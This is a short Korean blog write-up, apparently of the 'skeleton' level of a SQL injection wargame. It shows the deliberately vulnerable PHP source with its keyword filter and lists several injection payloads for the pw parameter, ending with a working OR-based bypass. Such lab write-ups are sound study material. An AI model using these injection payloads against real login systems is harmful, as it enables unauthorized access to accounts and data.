워게임/los
[los]skeleton
ㅡㅡㅡㅡㄷ
2021. 6. 8. 22:35
query : select id from prob_skeleton where id='guest' and pw='' and 1=0
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
1. preg_match : prob _ . ( )
2. and 1=0
id값은 admin
주석처리를 해야할 것처럼 보인다.
?pw=1' or id='admin' #
?pw=1' or id='admin' --
실패
?pw=1' or id='admin' or '1'='1
or조건으로 '1'='1를 and 조건 앞에 추가해서 항상 참이 되도록 만든다.